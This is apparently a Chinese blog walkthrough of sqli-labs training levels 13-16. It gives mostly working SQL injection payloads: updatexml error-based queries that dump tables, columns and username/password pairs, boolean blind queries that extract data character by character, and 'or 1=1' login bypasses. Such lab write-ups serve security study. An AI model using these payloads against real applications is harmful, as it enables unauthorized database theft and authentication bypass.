sqli-labs靶场13-16关(每日4关)持续更新!!!
Less-13
首先上来判断闭合方式是什么,我们输入1' ,看看页面回显情况
1后面有个括号,那我们输入 1') # 看一下页面回显
发现页面不报错了,但是没有回显内容,我们联想一下前几道题,页面回显不改变,会用到报错注入和盲注两种方式 ,要是盲注的话,布尔盲注和时间盲注这俩的页面回显会有变动,所以我们这道题选择报错注入,报错注入的方式还是用updatexml。
//updatexml格式
updatexml(xml_doument,Xpath_String,new_value);
我们使用:updatexml(1,concat(0x7e,(...),0x7e),1);
1.获取数据库
') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
2.获取表
')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
3.获取列
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) #
我们会发现出来这条语句,怎么没有username和password呀,我们忽略了一点,updatexml报错有报错字符大小限制,不能完全显示出来,所以我们就不用group了,我们用limit,一个个试一试
//usename
') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 4,1),0x7e),1) #
//password
') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 5,1),0x7e),1) #
4.获取字段
也是用limit,让他们一个个输出
') and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #
成功!!!
Less-14
发现和上一关一样,说明还是报错注入
那我们就判断闭合方式即可,其余步骤和上一关做法一样
说明闭合方式是双引号
直接显示最后一步,输出字段,也是用limit一次一次输出
"and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #
Less-15
判断注入点,闭合方式,输入万能密码 'or 1=1 # 发现页面只显示登陆成功,其余又不显示,看题干,那就是盲注中的布尔盲注了。
1.获取数据库长度(需要自己去尝试),登陆成功说明正确
' or length(database()) = 8 #
1.获取数据库,因为我们并不知道用户名是什么,所以用or
//secutity
' or ascii(substr((select database()),1,1)) = 115 #
...
2.表名
//长度
' or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 #
//emails
' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 #
...
3.列名
//长度
' or (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 #
' or (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 #
//id
' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 #
...
//email_id
' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 #
...
4.字段
//长度
'or (select length(email_id) from emails limit 0,1) = 16 #
//Dumb@dhakkan.com
# 第一个字段第一个字母是 D
' or ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 #
Less-16
和第15关一样,就是闭合方式有区别
本关的闭合方式是 ")
先用万能密码登录,测试闭合方式
") or 1=1 #
登陆成功!
其余步骤和第15关一样